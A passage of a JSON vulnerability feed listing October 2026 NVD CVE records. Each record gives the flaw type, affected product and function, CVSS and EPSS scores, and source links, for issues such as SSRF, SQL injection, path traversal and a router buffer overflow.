evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:19.130Z","updatedAt":"2026-10-16T22:17:18.753Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109405","asOf":"2026-10-16T22:17:18.753Z"},"epss":{"probability":0.00278,"percentile":0.20057,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109405&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109405","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109405","type":"primary","publishedAt":"2026-10-13T13:17:19.130Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109405&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109405, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109403","cveId":"CVE-2026-109403","aliases":[],"kind":"vulnerability","title":"A vulnerability was determined in conductor-oss conductor up to 3.32.5. Affected by this vulnerability is the function A2AService.getAgentCard of the file...","summary":"A vulnerability was determined in conductor-oss conductor up to 3.32.5. Affected by this vulnerability is the function A2AService.getAgentCard of the file ai/src/main/java/org/conductoross/conductor/ai/a2a/A2AService.java of the component Agent Card Fetching. Executing a manipulation of the argument agentUrl can lead to server-side request forgery. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized.","detail":"A vulnerability was determined in conductor-oss conductor up to 3.32.5. Affected by this vulnerability is the function A2AService.getAgentCard of the file ai/src/main/java/org/conductoross/conductor/ai/a2a/A2AService.java of the component Agent Card Fetching. Executing a manipulation of the argument agentUrl can lead to server-side request forgery. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:18.770Z","updatedAt":"2026-10-15T16:17:43.410Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109403","asOf":"2026-10-15T16:17:43.410Z"},"epss":{"probability":0.00354,"percentile":0.28864,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109403&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109403","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109403","type":"primary","publishedAt":"2026-10-13T13:17:18.770Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109403&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109403, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-63316","cveId":"CVE-2026-63316","aliases":[],"kind":"vulnerability","title":"A SQL injection vulnerability has been identified in Payload CMS.","summary":"A SQL injection vulnerability has been identified in Payload CMS. Improper neutralization of input provided by user into \"in\" and \"not_in\" query paramethers allows an authenticated attacker to perform SQL Injection attacks.\n\nThis issue was fixed in version 3.90.0 and 4.0.0-canary.34.","detail":"A SQL injection vulnerability has been identified in Payload CMS. Improper neutralization of input provided by user into \"in\" and \"not_in\" query paramethers allows an authenticated attacker to perform SQL Injection attacks.\n\nThis issue was fixed in version 3.90.0 and 4.0.0-canary.34.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T12:17:14.473Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-63316","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00259,"percentile":0.1747,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-63316&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-63316","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63316","type":"primary","publishedAt":"2026-10-13T12:17:14.473Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-63316&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-63316, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109832","cveId":"CVE-2026-109832","aliases":[],"kind":"vulnerability","title":"A flaw was found in gnome-remote-desktop as shipped in Red Hat Enterprise Linux. In the VNC TLS I/O handlers, retryable GnuTLS results (GNUTLS_E_AGAIN and GNUTLS_E_INTERRUPTED)...","summary":"A flaw was found in gnome-remote-desktop as shipped in Red Hat Enterprise Linux. In the VNC TLS I/O handlers, retryable GnuTLS results (GNUTLS_E_AGAIN and GNUTLS_E_INTERRUPTED) are handled with an unbounded busy loop instead of yielding to the event loop. A remote attacker who can reach an enabled VNC TLS listener can cause the event-loop thread to spin at high CPU with no forward progress, resulting in denial of service.","detail":"A flaw was found in gnome-remote-desktop as shipped in Red Hat Enterprise Linux. In the VNC TLS I/O handlers, retryable GnuTLS results (GNUTLS_E_AGAIN and GNUTLS_E_INTERRUPTED) are handled with an unbounded busy loop instead of yielding to the event loop. A remote attacker who can reach an enabled VNC TLS listener can cause the event-loop thread to spin at high CPU with no forward progress, resulting in denial of service.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T12:17:14.033Z","updatedAt":"2026-10-15T16:33:26.290Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Red Hat Enterprise Linux"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109832","asOf":"2026-10-15T16:33:26.290Z"},"epss":{"probability":0.0041,"percentile":0.3496,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109832&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109832","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109832","type":"primary","publishedAt":"2026-10-13T12:17:14.033Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109832&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109832, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109157","cveId":"CVE-2026-109157","aliases":[],"kind":"vulnerability","title":"A vulnerability was found in TRENDnet TEW-432BRP 3.10B20. Affected by this vulnerability is the function formTcpipSetup of the file /goform/formTcpipSetup.","summary":"A vulnerability was found in TRENDnet TEW-432BRP 3.10B20. Affected by this vulnerability is the function formTcpipSetup of the file /goform/formTcpipSetup. Performing a manipulation of the argument Name results in stack-based buffer overflow. It is possible to initiate the attack remotely. The exploit has been made public and could be used. The vendor confirms: \"As this router was EOL'd in 2011, we have no way of testing if such vulnerability exists. We will notify our customers of a potential vulnerability on this product.\" This vulnerability only affects products that are no longer supported by the maintainer.","detail":"A vulnerability was found in TRENDnet TEW-432BRP 3.10B20. Affected by this vulnerability is the function formTcpipSetup of the file /goform/formTcpipSetup. Performing a manipulation of the argument Name results in stack-based buffer overflow. It is possible to initiate the attack remotely. The exploit has been made public and could be used. The vendor confirms: \"As this router was EOL'd in 2011, we have no way of testing if such vulnerability exists. We will notify our customers of a potential vulnerability on this product.\" This vulnerability only affects products that are no longer supported by the maintainer.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T11:17:14.873Z","updatedAt":"2026-10-14T14:17:36.947Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109157","asOf":"2026-10-14T14:17:36.947Z"},"epss":{"probability":0.00593,"percentile":0.48037,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109157&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109157","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109157","type":"primary","publishedAt":"2026-10-13T11:17:14.873Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109157&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109157, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109156","cveId":"CVE-2026-109156","aliases":[],"kind":"vulnerability","title":"A vulnerability has been found in SeldonIO MLServer up to 1.6.1. Affected is the function _extract_env of the file mlserver/env.py of the component environment_tarball Handler.","summary":"A vulnerability has been found in SeldonIO MLServer up to 1.6.1. Affected is the function _extract_env of the file mlserver/env.py of the component environment_tarball Handler. Such manipulation leads to path traversal. The attack may be performed from remote. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A vulnerability has been found in SeldonIO MLServer up to 1.6.1. Affected is the function _extract_env of the file mlserver/env.py of the component environment_tarball Handler. Such manipulation leads to path traversal. The attack may be performed from remote. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T11:17:14.700Z","updatedAt":"2026-10-16T22:17:18.503Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109156","asOf":"2026-10-16T22:17:18.503Z"},"epss":{"probability":0.00424,"percentile":0.3644,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109156&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109156","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109156","type":"primary","publishedAt":"2026-10-13T11:17:14.700Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109156&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109156, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109155","cveId":"CVE-2026-109155","aliases":[],"kind":"vulnerability","title":"A flaw has been found in DeepPavlov up to 1.7.0. This impacts the function untar of the component Model Download Handler.","summary":"A flaw has been found in DeepPavlov up to 1.7.0. This impacts the function untar of the component Model Download Handler. This manipulation causes path traversal. The attack is possible to be carried out remotely. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A flaw has been found in DeepPavlov up to 1.7.0. This impacts the function untar of the component Model Download Handler. This manipulation causes path traversal. The attack is possible to be carried out remotely. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T11:17:14.527Z","updatedAt":"2026-10-13T14:17:25.533Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109155","asOf":"2026-10-13T14:17:25.533Z"},"epss":{"probability":0.00402,"percentile":0.34198,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109155&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109155","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109155","type":"primary","publishedAt":"2026-10-13T11:17:14.527Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109155&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109155, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109153","cveId":"CVE-2026-109153","aliases":[],"kind":"vulnerability","title":"A vulnerability was detected in MosaicML Composer up to 0.32.1. This affects the function tarball.extractall of the file composer/utils/checkpoint.py of the component Checkpoint...","summary":"A vulnerability was detected in MosaicML Composer up to 0.32.1. This affects the function tarball.extractall of the file composer/utils/checkpoint.py of the component Checkpoint Extraction. The manipulation results in path traversal. The attack can be executed remotely. The vendor was contacted early about this disclosure.","detail":"A vulnerability was detected in MosaicML Composer up to 0.32.1. This affects the function tarball.extractall of the file composer/utils/checkpoint.py of the component Checkpoint Extraction. The manipulation results in path traversal. The attack can be executed remotely. The vendor was contacted early about this disclosure.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T11:17:14.323Z","updatedAt":"2026-10-16T18:17:30.243Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109153","asOf":"2026-10-16T18:17:30.243Z"},"epss":{"probability":0.00493,"percentile":0.42019,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109153&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109153","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109153","type":"primary","publishedAt":"2026-10-13T11:17:14.323Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109153&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109153, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-89202","cveId":"CVE-2026-89202","aliases":[],"kind":"vulnerability","title":"A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly perform authorization checks for device disconnection requests.","summary":"A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly perform authorization checks for device disconnection requests. This could allow an authenticated attacker with minimal privileges to disconnect active sessions of other users, including administrators, leading to a denial of service.","detail":"A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly perform authorization checks for device disconnection requests. This could allow an authenticated attacker with minimal privileges to disconnect active sessions of other users, including administrators, leading to a denial of service.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T10:17:21.790Z","updatedAt":"2026-10-16T18:19:42.823Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-89202","asOf":"2026-10-16T18:19:42.823Z"},"epss":{"probability":0.00217,"percentile":0.12053,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-89202&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-89202","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-89202","type":"primary","publishedAt":"2026-10-13T10:17:21.790Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-89202&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-89202, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-89201","cveId":"CVE-2026-89201","aliases":[],"kind":"vulnerability","title":"A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly validate or sanitize input in device group or facility names...","summary":"A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly validate or sanitize input in device group or facility names processed during the Bulk Export workflow. This could allow an authenticated attacker with specific privileges to execute arbitrary SQL commands on the underlying database.","detail":"A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly validate or sanitize input in device group or facility names processed during the Bulk Export workflow. This could allow an authenticated attacker with specific privileges to execute arbitrary SQL commands on the underlying database.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T10:17:21.650Z","updatedAt":"2026-10-15T20:38:04.303Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-89201","asOf":"2026-10-15T20:38:04.303Z"},"epss":{"probability":0.00236,"percentile":0.14388,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-89201&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-89201","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-89201","type":"primary","publishedAt":"2026-10-13T10:17:21.650Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-89201&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-89201, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-89200","cveId":"CVE-2026-89200","aliases":[],"kind":"vulnerability","title":"A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly validate or sanitize input in the Name and Value fields for...","summary":"A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly validate or sanitize input in the Name and Value fields for custom file labels. This could allow an authenticated attacker with administrative privileges to execute arbitrary SQL commands on the underlying database.","detail":"A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly validate or sanitize input in the Name and Value fields for custom file labels. This could allow an authenticated attacker with administrative privileges to execute arbitrary SQL commands on the underlying database.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 